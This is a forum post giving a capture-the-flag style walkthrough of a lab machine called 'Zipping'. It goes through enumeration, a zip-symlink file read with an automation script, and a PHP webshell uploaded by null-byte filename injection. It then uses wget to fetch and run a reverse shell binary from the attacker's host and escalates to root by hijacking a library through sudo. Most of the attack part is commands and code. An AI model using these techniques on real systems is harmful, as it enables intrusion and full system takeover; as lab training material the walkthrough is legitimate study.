Aug 28, 2023, 12:55 AM
(This post was last modified: Aug 28, 2023, 01:06 AM by Mandelio.
Edit Reason: Fixed alignment.
)
Hi guys! I'm releasing my second writeup on here.
This time I converted from Markdown to BBCode so it's much more readable.
As always, it includes my thought process and an explanation of what's actually happening. I'll also include an autopwn script soon
[hide cost="8"]
This time I converted from Markdown to BBCode so it's much more readable.
As always, it includes my thought process and an explanation of what's actually happening. I'll also include an autopwn script soon

[hide cost="8"]
Enumeration
Let's start with a nmap scan.
I'll create an entry in /etc/hosts just for my convenience.
Let's browse the website without launching any directory search and see if we spot something interesting, I'll also run whatweb to get a general idea of what server I'm dealing with
There's only one interesting endpoint, /upload.php, which states the following
We also know that it's running php by the extension present in the filenames (although we don't know which version).
At this point I'll launch a directory search, even if I'm not expecting anything to pop up. And... as expected got nothing.
Just to be sure, I'll also try with virtual hosts. And... as expected again, we got nothing!
This means that we have to work with that /upload.php endpoint...
First of all, let's see what happens when we upload a legit file. Upon uploading the file we see the following behavior
Upon uploading the file we successfully get the URL but, when we try to open the URL in the browser, we get an error saying that it failed to load the PDF document. I suspect this has to do with how modern browsers handle URLs ending with .pdf so I'll do a GET with curl and see if I can get something...
Yes! We got LFI! From this /etc/passwd file we can see that there is an user named rektsu.
I'll write a Python script to facilitate the creation and the read process.
Now, let's leak the source code of this application, in order to do so I'll use relative paths since it would be much harder to find the absolute path... We can successfully get the upload.php file by going back of 2 directories.
It may seem vulnerable to RCE at a first sight because of
but, in reality, it's not actually getting our provided filename but instead the temporary filename that php generates.
Remember that there was a /shop endpoint? Let's try to leak these files... Initially, when we go to the /shop endpoint, there is only one file: index.php which has the following contents
Basically what this does is loading the php file passed to the GET parameter page.
By browsing the website, we end up with the following lists of file to leak
Let's analyze each of these files and see if we can find something interesting. In shop_cart.php there is the following:
It seems like it could be bypassed with a newline, but I will also look into other files before diving into this. We have the same vulnerability in shop_product.php
User
We can crash the app (we get a 500 HTTP Status Code) by going to /shop/index.php?page=product&id=%0a'1, however, we can't get anything more than that. We will have to go with some other way, for example we could try with a null byte injection in the zipped filename since, if you noticed, it uses the name of the file inside the zip archive. What we will do is create a file containing a php webshell with the name webshell.php0.pdf then, using an hex editor, we will replace that 0 with an actual null byte; what will happen is that, if this goes as expected, the server will extract the file as webshell.php and thus execute it. Here's how I created the file
We successfully get an URL as response with a space in there, if we remove the %20.pdf we successfully get a webshell and thus can successfully execute commands.
At this point, we only have to get a real shell. What I did to get a real shell is to upload on the server reverse-sshx64 by running a wget via the webshell, and then execute it so, summarizing in steps:
Root
Now that we are inside the machine, let's start the classic enumeration by uploading LinPEAS. After executing a LinPEAS scan, really nothing stood up. At this point, let's see if there is something interesting running with pspy64. Can't see anything interesting even if I left pspy64 running for 10+ minutes. There isn't anything in /opt and /dev/shm too... I forgot that even if we don't know the password of the user, there could still be the option of a NOPASSWD entry lol... If we run sudo -l we can see that there is a binary, let's get it via sftp and reverse engineer it using Ghidra.
This is how the main function looks after being retyped with human readable variables
Note that there is the checkAuth function, this function just checks if the passed string is St0ckM4nager.
Now let's see what actually gets passed to dlopen.
This prints /home/rektsu/.config/libcounter.so. At this point is pretty obvious what we have to do. What we will do is create a shared object that sets the RUID and EUID to 0 and then calls /bin/bash -p when it is loaded, here is how C code looks in order to do that:
The __attribute__((constructor)) part is for telling that the code should be executed whenever the library is loaded. At this point we can compile the shared object like this
Since I couldn't compile on the target machine, I compiled it on my machine and then downloaded it on the target.
Now that we have our malicious libcounter.so placed at /home/rektsu/.config, we can run sudo /usr/bin/stock and a shell should just pop up!
GGs!
[/hide]
Let's start with a nmap scan.
# Nmap 7.94 scan initiated Sun Aug 27 01:57:16 2023 as: nmap -Pn -sC -sV -oN ./nmap_scan -p - 10.129.129.59
Nmap scan report for 10.129.129.59
Host is up (0.13s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.0p1 Ubuntu 1ubuntu7.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 9d:6e:ec:02:2d:0f:6a:38:60:c6:aa:ac:1e:e0:c2:84 (ECDSA)
|_ 256 eb:95:11:c7:a6:fa:ad:74:ab:a2:c5:f6:a4:02:18:41 (ED25519)
80/tcp open http Apache httpd 2.4.54 ((Ubuntu))
|_http-server-header: Apache/2.4.54 (Ubuntu)
|_http-title: Zipping | Watch store
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sun Aug 27 02:05:45 2023 -- 1 IP address (1 host up) scanned in 509.56 seconds╭─imagine at sadness in ⌁/Documents/htb/machines/zipping
╰─λ echo -e "10.129.129.59\tzipping.htb" | sudo tee -a /etc/hosts
[sudo] password for imagine:
10.129.129.59 zipping.htb╭─imagine at sadness in ⌁/Documents/htb/machines/zipping
╰─λ whatweb http://zipping.htb/
http://zipping.htb/ [200 OK] Apache[2.4.54], Bootstrap, Country[RESERVED][ZZ], Email[[email protected]], HTML5, HTTPServer[Ubuntu Linux][Apache/2.4.54 (Ubuntu)], IP[10.129.129.59], JQuery[3.4.1], Meta-Author[Devcrud], PoweredBy[precision], Script, Title[Zipping | Watch store][...] The application will only accept zip files, inside them there must be a pdf file [...].At this point I'll launch a directory search, even if I'm not expecting anything to pop up. And... as expected got nothing.
╭─imagine at sadness in ⌁/Documents/htb/machines/zipping
╰─λ ffuf -c -w /usr/share/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-small.txt -u "http://zipping.htb/FUZZ" -ic -r
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.0.0-dev
________________________________________________
:: Method : GET
:: URL : http://zipping.htb/FUZZ
:: Wordlist : FUZZ: /usr/share/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-small.txt
:: Follow redirects : true
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200,204,301,302,307,401,403,405,500
________________________________________________
[Status: 200, Size: 16738, Words: 5717, Lines: 318, Duration: 127ms]
uploads [Status: 403, Size: 276, Words: 20, Lines: 10, Duration: 129ms]
shop [Status: 200, Size: 2615, Words: 811, Lines: 68, Duration: 133ms]
assets [Status: 200, Size: 1690, Words: 112, Lines: 21, Duration: 128ms]
[Status: 200, Size: 16738, Words: 5717, Lines: 318, Duration: 129ms]
:: Progress: [81630/81630] :: Job [1/1] :: 294 req/sec :: Duration: [0:04:35] :: Errors: 0 ::╭─imagine at sadness in ⌁/Documents/htb/machines/zipping
╰─λ ffuf -c -w /usr/share/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt -r -u "http://zipping.htb/" -H "Host: FUZZ.zipping.htb" -ic --fs 16738
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.0.0-dev
________________________________________________
:: Method : GET
:: URL : http://zipping.htb/
:: Wordlist : FUZZ: /usr/share/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt
:: Header : Host: FUZZ.zipping.htb
:: Follow redirects : true
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200,204,301,302,307,401,403,405,500
:: Filter : Response size: 16738
________________________________________________
:: Progress: [100000/100000] :: Job [1/1] :: 298 req/sec :: Duration: [0:05:46] :: Errors: 0 ::First of all, let's see what happens when we upload a legit file. Upon uploading the file we see the following behavior
- A status message is generated telling us that everything went OK and some staff member will review it soon (possible XSS?)
- An URL is generated, in my case http://zipping.htb/uploads/79d755db4280f...uropeo.pdf
Now I'll try with a zip containing a symlink to /etc/passwd which name will be curriculum.pdf, let's see what happens...
These are the commands that I used to generated the zip archive╭─imagine at sadness in ⌁/Documents/htb/machines/zipping
╰─λ ln -sf /etc/passwd curriculum.pdf
╭─imagine at sadness in ⌁/Documents/htb/machines/zipping
╰─λ zip --symlinks application.zip curriculum.pdf
adding: curriculum.pdf (stored 0%)
Upon uploading the file we successfully get the URL but, when we try to open the URL in the browser, we get an error saying that it failed to load the PDF document. I suspect this has to do with how modern browsers handle URLs ending with .pdf so I'll do a GET with curl and see if I can get something...
╭─imagine at sadness in ⌁/Documents/htb/machines/zipping
╰─λ curl http://zipping.htb/uploads/cabfc9ca9ae33540fa1435106764ba38/curriculum.pdf
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-network:x:101:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-timesync:x:102:103:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:109::/nonexistent:/usr/sbin/nologin
systemd-resolve:x:104:110:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
pollinate:x:105:1::/var/cache/pollinate:/bin/false
sshd:x:106:65534::/run/sshd:/usr/sbin/nologin
rektsu:x:1001:1001::/home/rektsu:/bin/bash
mysql:x:107:115:MySQL Server,,,:/nonexistent:/bin/false
_laurel:x:999:999::/var/log/laurel:/bin/falseI'll write a Python script to facilitate the creation and the read process.
#!/usr/bin/env python3
import requests
import subprocess
import re
# import zipfile #: Will just generate the zip using subprocess
import random
import string
def random_string(length: int) -> str:
return "".join(random.choice(string.ascii_letters) for _ in range(length))
URL = "http://zipping.htb"
UPLOAD = "/upload.php"
HREF_REGEX = r'<a href="([^"]+)">'
def create_symlink(path: str) -> None:
global SYMLINK_FILENAME
SYMLINK_FILENAME = random_string(10) + ".pdf"
subprocess.run(f"ln -sf {path} {SYMLINK_FILENAME}".split())
def refresh_zip() -> None:
global ZIP_FILENAME
ZIP_FILENAME = random_string(10) + ".zip"
subprocess.run(f"zip --symlinks {ZIP_FILENAME} {SYMLINK_FILENAME}".split(), stdout=subprocess.DEVNULL)
subprocess.run(f"rm {SYMLINK_FILENAME}".split())
def upload_zip() -> str:
files = { "zipFile": open(ZIP_FILENAME, "rb") }
data = { "submit": "" }
response = requests.post(URL + UPLOAD, files=files, data=data)
subprocess.run(f"rm {ZIP_FILENAME}".split())
return "/" + re.findall(HREF_REGEX, response.text)[1]
def get_file(upload_uri: str) -> str:
response = requests.get(URL + upload_uri)
return response.text.strip()
def routine(path: str) -> str:
create_symlink(path)
refresh_zip()
uri = upload_zip()
return get_file(uri)
def interactive() -> None:
import readline
while True:
path = input("lfi> ")
content = routine(path)
print(content)
if "save" in path:
splitted = path.split(" ")
if len(splitted) != 3:
print("Usage: <lfi> save <filename>, example \"../index.php save index.php\"")
continue
with open(splitted[2], "w+") as f:
f.write(content)
if __name__ == "__main__":
interactive()lfi> ../../upload.php
updating: curriculum.pdf (stored 0%)
<html>
<html lang="en">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
<meta name="description" content="Start your development with Creative Design landing page.">
<meta name="author" content="Devcrud">
<title>Zipping | Watch store</title>
<!-- font icons -->
<link rel="stylesheet" href="assets/vendors/themify-icons/css/themify-icons.css">
<!-- Bootstrap + Creative Design main styles -->
<link rel="stylesheet" href="assets/css/creative-design.css">
</head>
<body data-spy="scroll" data-target=".navbar" data-offset="40" id="home">
<!-- Page Header -->
<header class="header header-mini">
<div class="header-title">Work with Us</div>
<nav aria-label="breadcrumb">
<ol class="breadcrumb">
<li class="breadcrumb-item"><a href="index.php">Home</a></li>
<li class="breadcrumb-item active" aria-current="page">Work with Us</li>
</ol>
</nav>
</header> <!-- End Of Page Header -->
<section id="work" class="text-center">
<!-- container -->
<div class="container">
<h1>WORK WITH US</h1>
<p class="mb-5">If you are interested in working with us, do not hesitate to send us your curriculum.<br> The application will only accept zip files, inside them there must be a pdf file containing your curriculum.</p>
<?php
if(isset($_POST['submit'])) {
// Get the uploaded zip file
$zipFile = $_FILES['zipFile']['tmp_name'];
if ($_FILES["zipFile"]["size"] > 300000) {
echo "<p>File size must be less than 300,000 bytes.</p>";
} else {
// Create an md5 hash of the zip file
$fileHash = md5_file($zipFile);
// Create a new directory for the extracted files
$uploadDir = "uploads/$fileHash/";
// Extract the files from the zip
$zip = new ZipArchive;
if ($zip->open($zipFile) === true) {
if ($zip->count() > 1) {
echo '<p>Please include a single PDF file in the archive.<p>';
} else {
// Get the name of the compressed file
$fileName = $zip->getNameIndex(0);
if (pathinfo($fileName, PATHINFO_EXTENSION) === "pdf") {
mkdir($uploadDir);
echo exec('7z e '.$zipFile. ' -o' .$uploadDir. '>/dev/null');
echo '<p>File successfully uploaded and unzipped, a staff member will review your resume as soon as possible. Make sure it has been uploaded correctly by accessing the following path:</p><a href="'.$uploadDir.$fileName.'">'.$uploadDir.$fileName.'</a>'.'</p>';
} else {
echo "<p>The unzipped file must have a .pdf extension.</p>";
}
}
} else {
echo "Error uploading file.";
}
}
}
?>
<!-- Submit File -->
<form id="zip-form" enctype="multipart/form-data" method="post" action="upload.php">
<div class="mb-3">
<input type="file" class="form-control" name="zipFile" accept=".zip">
</div>
<button type="submit" class="btn btn-primary" name="submit">Upload</button>
</form><!-- End submit file -->
</div><!-- End of Container-->
</section><!-- End of Contact Section -->
<!-- Section -->
<section class="pb-0">
<!-- Container -->
<div class="container">
<!-- Pre footer -->
<div class="pre-footer">
<ul class="list">
<li class="list-head">
<h6 class="font-weight-bold">ABOUT US</h6>
</li>
<li class="list-body">
<p>Zipping Co. is a company that is dedicated to producing high-quality watches that are both stylish and functional. We are constantly pushing the boundaries of what is possible with watch design and are known for their commitment to innovation and customer service.</p>
<a href="#"><strong class="text-primary">Zipping</strong> <span class="text-dark">Watch Store</span></a>
</li>
</ul>
<ul class="list">
<li class="list-head">
<h6 class="font-weight-bold">USEFUL LINKS</h6>
</li>
<li class="list-body">
<div class="row">
<div class="col">
<a href="#">Link 1</a>
<a href="#">Link 2</a>
<a href="#">Link 3</a>
<a href="#">Link 4</a>
</div>
<div class="col">
<a href="#">Link 5</a>
<a href="#">Link 6</a>
<a href="#">Link 7</a>
<a href="#">Link 8</a>
</div>
</div>
</li>
</ul>
<ul class="list">
<li class="list-head">
<h6 class="font-weight-bold">CONTACT INFO</h6>
</li>
<li class="list-body">
<p>Contact us and we'll get back to you within 24 hours.</p>
<p><i class="ti-location-pin"></i> 12345 Fake ST NoWhere AB Country</p>
<p><i class="ti-email"></i> [email protected]</p>
<div class="social-links">
<a href="javascript:void(0)" class="link"><i class="ti-facebook"></i></a>
<a href="javascript:void(0)" class="link"><i class="ti-twitter-alt"></i></a>
<a href="javascript:void(0)" class="link"><i class="ti-google"></i></a>
<a href="javascript:void(0)" class="link"><i class="ti-pinterest-alt"></i></a>
<a href="javascript:void(0)" class="link"><i class="ti-instagram"></i></a>
<a href="javascript:void(0)" class="link"><i class="ti-rss"></i></a>
</div>
</li>
</ul>
</div><!-- End of Pre footer -->
<!-- foooter -->
<footer class="footer">
<p>Made by <a href="https://github.com/xdann1">xDaNN1</p>
</footer><!-- End of Footer-->
</div><!--End of Container -->
</section><!-- End of Section -->
</body>
</html>exec('7z e '.$zipFile. ' -o' .$uploadDir. '>/dev/null');Remember that there was a /shop endpoint? Let's try to leak these files... Initially, when we go to the /shop endpoint, there is only one file: index.php which has the following contents
<?php
session_start();
// Include functions and connect to the database using PDO MySQL
include 'functions.php';
$pdo = pdo_connect_mysql();
// Page is set to home (home.php) by default, so when the visitor visits, that will be the page they see.
$page = isset($_GET['page']) && file_exists($_GET['page'] . '.php') ? $_GET['page'] : 'home';
// Include and show the requested page
include $page . '.php';
?>By browsing the website, we end up with the following lists of file to leak
paths = [
("../../index.php", "index.php"),
("../../upload.php", "upload.php"),
("../../shop/index.php", "shop_index.php"),
("../../shop/cart.php", "shop_cart.php"),
("../../shop/product.php", "shop_product.php"),
("../../shop/products.php", "shop_products.php"),
("../../shop/placeorder.php", "shop_placeorder.php"),
]$product_id = $_POST['product_id'];
$quantity = $_POST['quantity'];
if(preg_match("/^.*[A-Za-z!#$%^&*()\-_=+{}\[\]\\|;:'\",.<>\/?]|[^0-9]$/", $product_id, $match) || preg_match("/^.*[A-Za-z!#$%^&*()\-_=+{}[\]\\|;:'\",.<>\/?]/i", $quantity, $match)) {
echo '';
} else {
// Construct the SQL statement with a vulnerable parameter
$sql = "SELECT * FROM products WHERE id = '" . $_POST['product_id'] . "'";
// Execute the SQL statement without any sanitization or parameter binding
$product = $pdo->query($sql)->fetch(PDO::FETCH_ASSOC);$id = $_GET['id'];
// Filtering user input for letters or special characters
if(preg_match("/^.*[A-Za-z!#$%^&*()\-_=+{}\[\]\\|;:'\",.<>\/?]|[^0-9]$/", $id, $match)) {
header('Location: index.php');
} else {
// Prepare statement and execute, but does not prevent SQL injection
$stmt = $pdo->prepare("SELECT * FROM products WHERE id = '$id'");
$stmt->execute();We can crash the app (we get a 500 HTTP Status Code) by going to /shop/index.php?page=product&id=%0a'1, however, we can't get anything more than that. We will have to go with some other way, for example we could try with a null byte injection in the zipped filename since, if you noticed, it uses the name of the file inside the zip archive. What we will do is create a file containing a php webshell with the name webshell.php0.pdf then, using an hex editor, we will replace that 0 with an actual null byte; what will happen is that, if this goes as expected, the server will extract the file as webshell.php and thus execute it. Here's how I created the file
╭─imagine at sadness in ⌁/Documents/htb/machines/zipping
╰─λ ls -la
total 76
drwxr-xr-x 2 imagine imagine 4096 Aug 27 23:39 ./
drwxr-xr-x 24 imagine imagine 4096 Aug 27 01:12 ../
-rw-r--r-- 1 imagine imagine 2320 Aug 27 22:44 auto_lfi.py
-rw-r--r-- 1 imagine imagine 16742 Aug 27 22:44 index.php
-rw-r--r-- 1 root root 849 Aug 27 02:05 nmap_scan
-rw-r--r-- 1 imagine imagine 6783 Aug 27 22:44 shop_cart.php
-rw-r--r-- 1 imagine imagine 406 Aug 27 22:44 shop_index.php
-rw-r--r-- 1 imagine imagine 253 Aug 27 22:44 shop_placeorder.php
-rw-r--r-- 1 imagine imagine 1918 Aug 27 22:44 shop_product.php
-rw-r--r-- 1 imagine imagine 2147 Aug 27 22:44 shop_products.php
-rw-r--r-- 1 imagine imagine 691 Aug 27 22:53 sqlmap.req
-rw-r--r-- 1 imagine imagine 6991 Aug 27 22:44 upload.php
-rw-r--r-- 1 imagine imagine 300 Aug 27 23:39 webshell.php0.pdf
╭─imagine at sadness in ⌁/Documents/htb/machines/zipping
╰─λ cat webshell.php0.pdf
<html>
<body>
<form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>">
<input type="TEXT" name="cmd" autofocus id="cmd" size="80">
<input type="SUBMIT" value="Execute">
</form>
<pre>
<?php
if(isset($_GET['cmd']))
{
system($_GET['cmd']);
}
?>
</pre>
</body>
</html>
╭─imagine at sadness in ⌁/Documents/htb/machines/zipping
╰─λ zip curriculum.zip webshell.php0.pdf
adding: webshell.php0.pdf (deflated 32%)
╭─imagine at sadness in ⌁/Documents/htb/machines/zipping
╰─λ ghex curriculum.zip
Here I opened an Hex Editor and replaced the 0 in the filename to a null byte (00).At this point, we only have to get a real shell. What I did to get a real shell is to upload on the server reverse-sshx64 by running a wget via the webshell, and then execute it so, summarizing in steps:
- LOCAL - Create an HTTP server in the reverse-sshx64 directory, python -m http.server 7777
- WEBSHELL - Get reverse-sshx64, wget http://IP:PORT/reverse-sshx64 -O /tmp/reverse-sshx64
- WEBSHELL - Make reverse-sshx64 executable, chmod +x /tmp/reverse-sshx64
- LOCAL - Start reverse-sshx64 listener, ./reverse-sshx64 -v -l
- WEBSHELL - Connect to reverse-sshx64 server, /tmp/reverse-sshx64 IP
- LOCAL - Login as user via SSH, ssh -p 8888 localhost
Root
Now that we are inside the machine, let's start the classic enumeration by uploading LinPEAS. After executing a LinPEAS scan, really nothing stood up. At this point, let's see if there is something interesting running with pspy64. Can't see anything interesting even if I left pspy64 running for 10+ minutes. There isn't anything in /opt and /dev/shm too... I forgot that even if we don't know the password of the user, there could still be the option of a NOPASSWD entry lol... If we run sudo -l we can see that there is a binary, let's get it via sftp and reverse engineer it using Ghidra.
This is how the main function looks after being retyped with human readable variables
undefined8 main(void)
{
int iVar1;
undefined8 uVar2;
int *piVar3;
int amount_choice;
int warranty_choice;
int exclusive_choice;
int quality_choice;
int colour_choice;
char key [8];
byte encrypted [34];
char password [44];
int choice;
uint local_88 [4];
uint local_78;
uint local_74;
uint local_70;
uint local_6c;
uint local_68;
uint local_64;
FILE *stock_csv_fd;
uint not_warranty;
uint yes_warranty;
uint not_exclusive;
uint yes_exclusive;
uint amount_poor;
uint amount_average;
uint amount_excellent;
uint amount_silver;
uint amount_gold;
uint amount_black;
undefined8 local_28;
char *reference_to_lf;
char *stock_csv;
int i;
stock_csv = "/root/.stock.csv";
printf("Enter the password: ");
fgets(password,30,stdin);
reference_to_lf = strchr(password,10);
if (reference_to_lf != (char *)0x0) {
*reference_to_lf = '\0';
}
iVar1 = checkAuth(password);
if (iVar1 == 0) {
puts("Invalid password, please try again.");
uVar2 = 1;
}
else {
encrypted[0] = 0x67;
encrypted[1] = 9;
encrypted[2] = 4;
encrypted[3] = 0xc;
encrypted[4] = 0xc;
encrypted[5] = 0x55;
encrypted[6] = 0x17;
encrypted[7] = 0x2d;
encrypted[8] = 10;
encrypted[9] = 0x1f;
encrypted[10] = 0x12;
encrypted[11] = 0x1c;
encrypted[12] = 0x55;
encrypted[13] = 0x4b;
encrypted[14] = 0x2b;
encrypted[15] = 0xe;
encrypted[16] = 5;
encrypted[17] = 7;
encrypted[18] = 0;
encrypted[19] = 0x1d;
encrypted[20] = 0x4a;
encrypted[21] = 0x24;
encrypted[22] = 8;
encrypted[23] = 9;
encrypted[24] = 2;
encrypted[25] = 6;
encrypted[26] = 0xf;
encrypted[27] = 0xb;
encrypted[28] = 0x3c;
encrypted[29] = 4;
encrypted[30] = 0x19;
encrypted[31] = 0x4f;
encrypted[32] = 0x1a;
encrypted[33] = 0x15;
key[0] = 'H';
key[1] = 'a';
key[2] = 'k';
key[3] = 'a';
key[4] = 'i';
key[5] = 'z';
key[6] = 'e';
key[7] = '\0';
XOR((char *)encrypted,34,key,8);
local_28 = dlopen(encrypted,1);
amount_black = 0;
amount_gold = 0;
amount_silver = 0;
amount_excellent = 0;
amount_average = 0;
amount_poor = 0;
yes_exclusive = 0;
not_exclusive = 0;
yes_warranty = 0;
not_warranty = 0;
while (choice != 3) {
puts("\n================== Menu ==================\n");
puts("1) See the stock");
puts("2) Edit the stock");
puts("3) Exit the program\n");
printf("Select an option: ");
__isoc99_scanf(&DAT_001020e0,&choice);
if (choice == 1) {
stock_csv_fd = fopen(stock_csv,"r");
if (stock_csv_fd == (FILE *)0x0) {
piVar3 = __errno_location();
if (*piVar3 == 0xd) {
printf("You do not have permissions to read the file");
}
else {
puts("File could not be opened.");
}
/* WARNING: Subroutine does not return */
exit(1);
}
for (i = 0; i < 10; i = i + 1) {
__isoc99_fscanf(stock_csv_fd,&DAT_0010212f,local_88 + i);
}
fclose(stock_csv_fd);
amount_black = local_88[0];
amount_gold = local_88[1];
amount_silver = local_88[2];
amount_excellent = local_88[3];
amount_average = local_78;
amount_poor = local_74;
yes_exclusive = local_70;
not_exclusive = local_6c;
yes_warranty = local_68;
not_warranty = local_64;
puts("\n================== Stock Actual ==================\n");
puts("Colour Black Gold Silver");
printf("Amount %-7d %-7d %-7d\n\n",(ulong)amount_black,(ulong)amount_gold,
(ulong)amount_silver);
puts("Quality Excelent Average Poor");
printf("Amount %-9d %-7d %-4d\n\n",(ulong)amount_excellent,(ulong)amount_average,
(ulong)amount_poor);
puts("Exclusive Yes No");
printf("Amount %-4d %-4d\n\n",(ulong)yes_exclusive,(ulong)not_exclusive);
puts("Warranty Yes No");
printf("Amount %-4d %-4d\n\n",(ulong)yes_warranty,(ulong)not_warranty);
}
else if (choice == 2) {
stock_csv_fd = fopen(stock_csv,"r");
if (stock_csv_fd == (FILE *)0x0) {
puts("File could not be opened.");
/* WARNING: Subroutine does not return */
exit(1);
}
for (i = 0; i < 10; i = i + 1) {
__isoc99_fscanf(stock_csv_fd,&DAT_0010212f,local_88 + i);
}
fclose(stock_csv_fd);
puts("\n================== Edit Stock ==================\n");
puts("Enter the information of the watch you wish to update:");
printf("Colour (0: black, 1: gold, 2: silver): ");
__isoc99_scanf(&DAT_001020e0,&colour_choice);
printf("Quality (0: excelent, 1: average, 2: poor): ");
__isoc99_scanf(&DAT_001020e0,&quality_choice);
printf("Exclusivity (0: yes, 1: no): ");
__isoc99_scanf(&DAT_001020e0,&exclusive_choice);
printf("Warranty (0: yes, 1: no): ");
__isoc99_scanf(&DAT_001020e0,&warranty_choice);
printf("Amount: ");
__isoc99_scanf(&DAT_001020e0,&amount_choice);
if (((((colour_choice < 0) || (2 < colour_choice)) || (quality_choice < 0)) ||
((2 < quality_choice || (exclusive_choice < 0)))) ||
((1 < exclusive_choice || ((warranty_choice < 0 || (1 < warranty_choice)))))) {
puts("Error: The information entered is incorrect");
}
else {
amount_black = local_88[0];
if (colour_choice == 0) {
amount_black = amount_choice + local_88[0];
}
amount_gold = local_88[1];
if (colour_choice == 1) {
amount_gold = amount_choice + local_88[1];
}
amount_silver = local_88[2];
if (colour_choice == 2) {
amount_silver = amount_choice + local_88[2];
}
amount_excellent = local_88[3];
if (quality_choice == 0) {
amount_excellent = amount_choice + local_88[3];
}
amount_average = local_78;
if (quality_choice == 1) {
amount_average = amount_choice + local_78;
}
amount_poor = local_74;
if (quality_choice == 2) {
amount_poor = amount_choice + local_74;
}
yes_exclusive = local_70;
if (exclusive_choice == 0) {
yes_exclusive = amount_choice + local_70;
}
not_exclusive = local_6c;
if (exclusive_choice == 1) {
not_exclusive = amount_choice + local_6c;
}
yes_warranty = local_68;
if (warranty_choice == 0) {
yes_warranty = amount_choice + local_68;
}
not_warranty = local_64;
if (warranty_choice == 1) {
not_warranty = amount_choice + local_64;
}
stock_csv_fd = fopen(stock_csv,"w");
if (stock_csv_fd == (FILE *)0x0) {
puts("File could not be opened.");
/* WARNING: Subroutine does not return */
exit(1);
}
fprintf(stock_csv_fd,"%d,%d,%d,%d,%d,%d,%d,%d,%d,%d",(ulong)amount_black,
(ulong)amount_gold,(ulong)amount_silver,(ulong)amount_excellent,
(ulong)amount_average,(ulong)amount_poor,(ulong)yes_exclusive,(ulong)not_exclusive
,(ulong)yes_warranty,(ulong)not_warranty);
fclose(stock_csv_fd);
puts("The stock has been updated correctly.");
}
}
}
uVar2 = 0;
}
return uVar2;
}Now let's see what actually gets passed to dlopen.
#: Content of the first parameter passed to the XOR function
encrypted = [103, 9, 4, 12, 12, 85, 23, 45, 10, 31, 18, 28, 85, 75, 43, 14, 5, 7, 0, 29, 74, 36, 8, 9, 2, 6, 15, 11, 60, 4, 25, 79, 26, 21]
#: Content of the third parameter passed to the XOR function (without the NULL byte at the end)
key = "Hakaize"
decrypted = bytes([byte ^ ord(key[i % len(key)]) for i, byte in enumerate(encrypted)])
for char in decrypted:
try:
print(chr(char), end="")
except:
pass#include <unistd.h>
#include <stdlib.h>
void __attribute__((constructor)) run_me_first() {
setreuid(0, 0);
system("/bin/bash -p");
}gcc -shared -o libcounter.so -fPIC libcounter.cNow that we have our malicious libcounter.so placed at /home/rektsu/.config, we can run sudo /usr/bin/stock and a shell should just pop up!
rektsu@zipping:/home/rektsu/.config$ wget http://10.10.14.233:7777/libcounter.so
--2023-08-28 00:24:37-- http://10.10.14.233:7777/libcounter.so
Connecting to 10.10.14.233:7777... connected.
HTTP request sent, awaiting response... 200 OK
Length: 15056 (15K) [application/octet-stream]
Saving to: 'libcounter.so'
libcounter.so 100%[=======================================================================================================================================>] 14.70K --.-KB/s in 0.1s
2023-08-28 00:24:38 (109 KB/s) - 'libcounter.so' saved [15056/15056]
rektsu@zipping:/home/rektsu/.config$ sudo /usr/bin/stock
Enter the password: St0ckM4nager
root@zipping:/home/rektsu/.config# id
uid=0(root) gid=0(root) groups=0(root)